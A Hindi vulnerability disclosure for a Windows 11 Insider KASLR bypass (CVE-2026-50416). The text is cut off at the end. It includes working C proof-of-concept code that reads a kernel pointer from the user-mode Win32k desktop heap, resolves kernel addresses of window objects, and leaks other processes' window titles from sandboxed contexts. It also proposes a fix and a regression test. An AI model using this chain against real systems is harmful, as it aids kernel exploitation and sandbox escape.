CVE-2026-50416: विंडोज़ 11 KASLR बायपास
Windows 11 Insider बिल्ड 10.0.28020.2149 पर, Win32k डेस्कटॉप हीप का यूज़र मोड मैपिंग ऑफसेट 0x100 पर एक कच्चा कर्नेल सेशन पूल पॉइंटर उजागर करता है।
रीड स्वयं लगभग आक्रामक रूप से छोटा है:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
मेरे परीक्षण सेशन में, इसने लौटाया:
0xffffc600dcc00040
मान एक ही डेस्कटॉप पर विभिन्न प्रक्रियाओं में समान रहा और रीबूट के बाद बदल गया। किसी अन्य डेस्कटॉप पर लॉन्च की गई प्रक्रिया को एक अलग मान प्राप्त हुआ क्योंकि उसका डेस्कटॉप हीप अलग था। इस एक QWORD से, PoC ने कर्नेल डेस्कटॉप हीप बेस को पुनर्प्राप्त किया और फिर लाइव विंडो ऑब्जेक्ट्स के कर्नेल पते प्राप्त करने के लिए user32!gSharedInfo का उपयोग किया।
वही रीड Low integrity, AppContainer, शून्य क्षमताओं वाले LPAC कॉन्फ़िगरेशन, और शून्य क्षमताओं वाले Low integrity AppContainer चाइल्ड से काम करता था।
डेस्कटॉप हीप को साझा किया जाना चाहिए। कर्नेल पॉइंटर नहीं है।
Win32k विंडो, मेनू, क्लास, हुक और संबंधित मेटाडेटा जैसे USER ऑब्जेक्ट्स को डेस्कटॉप हीप्स में संग्रहीत करता है। प्रत्येक डेस्कटॉप का अपना हीप होता है। उस हीप का एक हिस्सा डेस्कटॉप से जुड़ी प्रक्रियाओं में मैप किया जाता है ताकि यूज़र मोड हर फ़ील्ड के लिए कर्नेल से पूछे बिना साझा GUI स्थिति पढ़ सके।
परीक्षण किए गए x64 बिल्ड पर, यूज़र मोड मैपिंग वर्तमान थ्रेड के TEB क्लाइंट डेटा के माध्यम से पहुंचा जा सकता है:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ऑफसेट बिल्ड-विशिष्ट हैं, लेकिन मार्ग सरल है:
GS:[0x30]
-> TEB
-> ClientInfo at TEB + 0x800
-> ClientInfo[5]
-> यूज़र मोड डेस्कटॉप हीप मैपिंग
PoC लौटाए गए पते पर VirtualQuery कॉल करता है और मैप किए गए क्षेत्र और उसकी सुरक्षा को रिकॉर्ड करता है। अभी तक कुछ भी गलत नहीं हुआ है। रीड-ओनली डेस्कटॉप हीप मैपिंग सामान्य Win32k व्यवहार है।
समस्या इसके 256 बाइट्स बाद शुरू होती है।
मुख्य PoC मैप किए गए हीप से एक QWORD पढ़ता है:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
मान परीक्षण प्रणाली पर कर्नेल वर्चुअल एड्रेस से अपेक्षित बुनियादी जांचों को पार कर गया:
स्थिरता परीक्षण STATIC, BUTTON और EDIT विंडो बनाता है, निर्माण से पहले मान पढ़ता है, विंडो के मौजूद रहते हुए इसे फिर से पढ़ता है, उन्हें नष्ट करता है, और तीसरी बार पढ़ता है।
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
तीनों रीड्स ने समान मान लौटाया। विंडो आवंटन गतिविधि ने इसे स्थानांतरित नहीं किया। यह व्यवहार अल्पकालिक ऑब्जेक्ट पॉइंटर के बजाय डेस्कटॉप हीप मेटाडेटा में एक फ़ील्ड के अनुरूप है।
क्रॉस-प्रोसेस गुण उतना ही महत्वपूर्ण है। एक ही डेस्कटॉप से जुड़ी दो प्रक्रियाएं समान लीक मान देखती हैं क्योंकि वे एक ही डेस्कटॉप हीप को देख रही हैं। रीबूट के बाद, KASLR सेशन को एक नया पता देता है। किसी अन्य डेस्कटॉप पर रखा गया चाइल्ड एक और पॉइंटर देखता है क्योंकि उस डेस्कटॉप के पास एक और हीप है।
यह लीक को एक उपयोगी पहचान देता है:
समान बूट + समान डेस्कटॉप -> समान पॉइंटर
समान बूट + अलग डेस्कटॉप -> अलग पॉइंटर
नया बूट -> अलग पॉइंटर
परीक्षण किए गए बिल्ड पर, लीक पॉइंटर PoC द्वारा उपयोग किए गए कर्नेल डेस्कटॉप हीप बेस से 0x40 बाइट्स ऊपर स्थित है:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
रिकॉर्ड किए गए सेशन मान का उपयोग करके:
लीक पॉइंटर = 0xffffc600dcc00040
कर्नेल डेस्कटॉप हीप बेस = 0xffffc600dcc00000
यह संबंध बिल्ड-विशिष्ट है। परीक्षण के दौरान उपयोग किए गए बिल्ड के लिए, यह अगले चरण के लिए आवश्यक कर्नेल-साइड एंकर देता है।
एक पॉइंटर पहले से ही उपयोगी है। किसी चुने हुए ऑब्जेक्ट के लिए एक पता बहुत अधिक उपयोगी है।
user32.dll gSharedInfo निर्यात करता है, जो USER हैंडल एंट्री सूची और प्रत्येक एंट्री का आकार उजागर करता है:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
एक HWND में USER हैंडल तालिका में एक इंडेक्स होता है। PoC हैंडल के निचले 16 बिट्स लेता है, मिलान एंट्री तक जाता है, और वहां संग्रहीत डेस्कटॉप हीप ऑफसेट पढ़ता है।
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
समान ऑफसेट दोनों मैपिंग में ऑब्जेक्ट का नाम देता है:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
तो पूरी गणना है:
कर्नेल डेस्कटॉप हीप बेस = desktop_heap[0x100] - 0x40
हैंडल इंडेक्स = HWND & 0xffff
हीप ऑफसेट = aheList[हैंडल इंडेक्स].offset
कर्नेल विंडो पता = कर्नेल डेस्कटॉप हीप बेस + हीप ऑफसेट
PoC छह विंडो क्लास बनाता है और प्रत्येक के लिए गणना करता है:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXप्रत्येक ऑब्जेक्ट के लिए, यह HWND, हैंडल इंडेक्स, यूज़र मोड ऑब्जेक्ट पता, हीप ऑफसेट और कर्नेल पता प्रिंट करता है।
HWND
-> निचला 16-बिट हैंडल इंडेक्स
-> gSharedInfo हैंडल एंट्री
-> डेस्कटॉप हीप ऑफसेट
-> कर्नेल डेस्कटॉप हीप बेस + ऑफसेट
-> उस विंडो ऑब्जेक्ट का कर्नेल पता
यह वह हिस्सा है जो प्रकटीकरण को एक ढीले कर्नेल पॉइंटर से परीक्षण किए गए डेस्कटॉप हीप पर चयनित USER ऑब्जेक्ट्स के लिए एक पता ओरेकल में बदल देता है।
डेस्कटॉप हीप एक साझा मैपिंग के माध्यम से आता है। इंटीग्रिटी स्तर और AppContainer प्रतिबंध प्रत्येक प्रक्रिया के लिए उस मैपिंग की सामग्री को फिर से नहीं लिखते हैं। यदि प्रक्रिया को डेस्कटॉप हीप प्राप्त होता है, तो उसे इसके साथ 0x100 पर QWORD भी प्राप्त होता है।
सैंडबॉक्स PoC कई संदर्भों में चाइल्ड लॉन्च करता है और प्रत्येक चाइल्ड को अपने स्वयं के TEB और अपनी स्वयं की डेस्कटॉप हीप मैपिंग से मान पढ़ने देता है।
| संदर्भ | कॉन्फ़िगरेशन | परिणाम |
|---|---|---|
| Medium integrity | मानक उपयोगकर्ता प्रक्रिया | लीक हुआ |
| Low integrity | टोकन इंटीग्रिटी Low पर कम | लीक हुआ |
| AppContainer | शून्य अनुरोधित क्षमताएं | लीक हुआ |
| LPAC कॉन्फ़िगरेशन | सभी एप्लिकेशन पैकेज ऑप्ट-आउट नीति, शून्य अनुरोधित क्षमताएं | लीक हुआ |
| Low integrity AppContainer | Low IL प्लस AppContainer, शून्य अनुरोधित क्षमताएं | लीक हुआ |
| वैकल्पिक डेस्कटॉप | चाइल्ड एक नए डेस्कटॉप को सौंपा गया | एक अलग मान लीक हुआ |
पहले पांच चाइल्ड डिफ़ॉल्ट डेस्कटॉप से जुड़े थे और समान पता लौटाया। वैकल्पिक डेस्कटॉप चाइल्ड ने एक और पता लौटाया क्योंकि उसे एक और डेस्कटॉप हीप प्राप्त हुआ।
चाइल्ड आउटपुट में एक कॉम्पैक्ट प्रारूप है ताकि पैरेंट परिणामों की तुलना कर सके:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
सख्त हेल्पर टोकन स्थिति और क्षमता गणना भी रिकॉर्ड करता है:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
महत्वपूर्ण विवरण यह नहीं है कि चाइल्ड एक विशेष Win32k API कॉल कर सकता है। उसे इसकी आवश्यकता नहीं है। एक बार मैपिंग मौजूद होने पर, लीक एक सामान्य यूज़र मोड मेमोरी रीड है।
एक अलग हेल्पर CreateWindow कॉल किए बिना रीड करता है।
यह डेस्कटॉप हीप पॉइंटर की जांच करता है, desktop_heap[0x100] पढ़ता है, स्पष्ट रूप से user32.dll लोड करता है, मैपिंग को फिर से जांचता है, और फिर भी कभी विंडो नहीं बनाता है। एक और रेंडरर-जैसा चाइल्ड user32.dll लोड करता है, समान रीड करता है, और बिना कोई विंडो बनाए बाहर निकलता है।
उपयोगी परिणाम सीधा है:
लीक QWORD पढ़ने से पहले कोई विंडो ऑब्जेक्ट बनाने की आवश्यकता नहीं है।
लीक स्वयं डेस्कटॉप हीप मैपिंग से संबंधित है, न कि हमलावर प्रक्रिया द्वारा बनाई गई विंडो से।
supporting_proof_remote_trigger.c शून्य अनुरोधित क्षमताओं वाला एक Low integrity AppContainer चाइल्ड बनाता है। चाइल्ड केवल थोड़ा सा काम करता है:
LoadLibraryA("user32.dll");
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
रिकॉर्ड किया गया आउटपुट:
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated
यह रेंडरर-जैसे टोकन कॉन्फ़िगरेशन से रीड प्रदर्शित करता है। एक अलग ब्राउज़र मेमोरी करप्शन बग जो पहले से ही ऐसी प्रक्रिया में नेटिव कोड निष्पादन देता है, उसे इस डेस्कटॉप हीप पॉइंटर को पढ़ने से पहले एक और सूचना प्रकटीकरण की आवश्यकता नहीं होगी।
एक बार जब मेरे पास एक विश्वसनीय पॉइंटर था, तो मैंने यह देखने के लिए मैप किए गए क्षेत्र को स्कैन किया कि और क्या मौजूद है।
स्कैनर ने प्रति रन छह से दस अतिरिक्त अद्वितीय QWORD मान पाए जो समान कैनोनिकल-पता और संरेखण जांचों को पार कर गए। सटीक संख्या डेस्कटॉप गतिविधि के साथ बदल गई। ऑफसेट 0x100 स्थिर प्राथमिक लीक था, लेकिन यह मैपिंग में कर्नेल पता आकार वाला एकमात्र मान नहीं था।
संवेदनशील-डेटा हेल्पर EnumWindows के साथ शीर्ष-स्तरीय विंडो की गणना करता है, उनके स्वामित्व वाले PID और शीर्षक एकत्र करता है, और फिर UTF-16 स्ट्रिंग्स के रूप में समान शीर्षकों के लिए डेस्कटॉप हीप मैपिंग खोजता है।
रिकॉर्ड किए गए रन में यह अन्य प्रक्रियाओं से संबंधित बीस अद्वितीय शीर्षक पाया। उदाहरणों में ब्राउज़र टैब, Discord, Explorer, Spotify और सिस्टम ट्रे विंडो शामिल थे।
प्रोग्राम केवल दोनों स्थितियों के सत्य होने के बाद एक शीर्षक प्रिंट करता है:
EnumWindows उस शीर्षक के साथ एक विंडो और परीक्षण प्रक्रिया से भिन्न एक स्वामित्व वाला PID रिपोर्ट करता है।यह आउटपुट को मेमोरी में पाए गए यादृच्छिक प्रिंट करने योग्य स्ट्रिंग्स पर भरोसा करने के बजाय सत्यापित करना आसान बनाता है।
हेल्पर मैपिंग में DWORD मानों को भी स्कैन करता है। एक मान केवल तभी गिना जाता है जब:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) इसके लिए सफल होता है।EnumWindows द्वारा पाई गई विंडो का स्वामी है।रिकॉर्ड किए गए रन में 605 मिलान DWORD घटनाएं मिलीं। यह हीप में घटनाओं की गिनती है, 605 अद्वितीय प्रक्रियाएं नहीं। समान PID एक से अधिक बार दिखाई दे सकता है।
हेल्पर ES_PASSWORD के साथ एक EDIT नियंत्रण बनाता है, उसका टेक्स्ट SecretPassword123 सेट करता है, और मैप किए गए क्षेत्र में SecretP उपसर्ग खोजता है। यह परीक्षण किए गए रन में नहीं मिला।
तो मैपिंग ने शीर्षक, PID घटनाएं और कर्नेल-आकार के मान उजागर किए, जबकि परीक्षण किया गया पासवर्ड स्ट्रिंग वहां दिखाई नहीं दी।
Win32k मेमोरी करप्शन बग के लिए, यह जानना कि एक ऑब्जेक्ट मौजूद है, यह जानने के समान नहीं है कि यह कर्नेल मेमोरी में कहाँ रहता है।
प्रकटीकरण के बिना, हमलावर को अज्ञात डेस्कटॉप हीप बेस और अज्ञात ऑब्जेक्ट पतों से निपटना पड़ता है। प्रकटीकरण के साथ, पता पक्ष बन जाता है:
एक QWORD पढ़ें
0x40 घटाएं
लक्ष्य हैंडल एंट्री पढ़ें
उसका हीप ऑफसेट जोड़ें
एक चुने हुए HWND के लिए, हमलावर के पास अब परीक्षण किए गए बिल्ड पर संबंधित कर्नेल डेस्कटॉप हीप पता है। यह इसमें मदद कर सकता है:
लीक पता समस्या को हल करता है। हीप शेपिंग, ऑब्जेक्ट प्रतिस्थापन और मेमोरी करप्शन प्रिमिटिव शोषण के अलग-अलग हिस्से बने रहते हैं।
यह विभाजन मायने रखता है। KASLR मेमोरी करप्शन को नहीं रोकता है। यह विश्वसनीय लक्ष्यीकरण को कठिन बनाता है। यह QWORD PoC द्वारा उपयोग किए गए डेस्कटॉप हीप क्षेत्र के लिए उस अनिश्चितता को हटा देता है।
Windows 11 Insider Build 10.0.28020.2149
मानक उपयोगकर्ता
Medium integrity आधार रेखा
kaslr_bypass_poc.c: मुख्य लीक और विंडो-पता समाधान PoCkaslr_sandbox_proof.c: Medium IL, Low IL, AppContainer, LPAC कॉन्फ़िगरेशन, Low IL AppContainer और वैकल्पिक डेस्कटॉप परीक्षणsupporting_proof_no_window.c: विंडो बनाए बिना रीडsupporting_proof_no_caps_lpac.c: शून्य-क्षमता AppContainer और LPAC कॉन्फ़िगरेशनsupporting_proof_sensitive_data.c: शीर्षक, PID घटनाएं, अतिरिक्त पॉइंटर स्कैन और पासवर्ड-फ़ील्ड जांचsupporting_proof_exploitability.c: छह विंडो क्लास और कर्नेल-पता गणनाएंsupporting_proof_remote_trigger.c: रेंडरर-जैसा Low IL AppContainer चाइल्डcompile.bat: बिल्ड मेनूचलाएं:
compile.bat
मेनू से लक्ष्य चुनें।
मुख्य PoC को Visual Studio डेवलपर कमांड प्रॉम्प्ट से सीधे भी संकलित किया जा सकता है:
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib
रीबूट किए बिना मुख्य PoC को दो बार चलाएं:
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe
desktop_heap + 0x100 पर पॉइंटर दोनों रनों में समान होना चाहिए।
एक दूसरा टर्मिनल खोलें और इसे उसी डेस्कटॉप पर किसी अन्य प्रक्रिया से चलाएं। मान फिर से मेल खाना चाहिए।
रीबूट करें और दोहराएं। मान बदलना चाहिए।
kaslr_sandbox_proof.exe
परीक्षण प्रत्येक चाइल्ड को लॉन्च करता है, उसका आउटपुट कैप्चर करता है और लीक मानों की तुलना करता है। डिफ़ॉल्ट डेस्कटॉप पर चाइल्ड को समान मान रिपोर्ट करना चाहिए। वैकल्पिक डेस्कटॉप चाइल्ड को एक अलग मान रिपोर्ट करना चाहिए।
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe
प्रत्येक हेल्पर परिणाम के एक हिस्से को अलग करता है ताकि पूरे PoC के आउटपुट को पढ़े बिना इसे पुन: प्रस्तुत किया जा सके।
यूज़र मोड मैपिंग में कच्चे कर्नेल वर्चुअल पते नहीं होने चाहिए।
सबसे छोटा फिक्स पेज के यूज़र मोड में दिखाई देने से पहले डेस्कटॉप हीप हेडर फ़ील्ड को सैनिटाइज़ करना है। Windows पहले से ही अन्य डेस्कटॉप हीप पॉइंटर फ़ील्ड्स के लिए एक अपारदर्शी 0x6000000000 मान का उपयोग करता है, इसलिए यदि यूज़र मोड को अभी भी फ़ील्ड की आवश्यकता है तो उसी शैली का प्रतिस्थापन यहां उपयोग किया जा सकता है।
यदि यूज़र मोड को हेडर पेज की आवश्यकता नहीं है, तो साफ फिक्स उस पेज को साझा मैपिंग में उजागर नहीं करना है।
प्रतिगमन परीक्षण सरल है: Medium IL, Low IL, AppContainer और LPAC कॉन्फ़िगरेशन पर प्रक्रियाएं बनाएं, डेस्कटॉप हीप मैप करें, और उपयोगकर्ता-दृश्यमान हेडर में पाए गए किसी भी कैनोनिकल कर्नेल पते को अस्वीकार करें।
पूरी श्रृंखला एक रीड-ओनली मैपिंग से एक साधारण रीड के साथ शुरू होती है:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
वह QWORD कर्नेल डेस्कटॉप हीप की पहचान करता है। gSharedInfo प्रति-ऑब्जेक्ट ऑफसेट प्रदान करता है। साथ में वे एक यूज़र मोड HWND को परीक्षण किए गए बिल्ड पर संबंधित कर्नेल पते में बदल देते हैं।
यहां कोई जटिल ट्रिगर छिपा नहीं है। Windows ने ड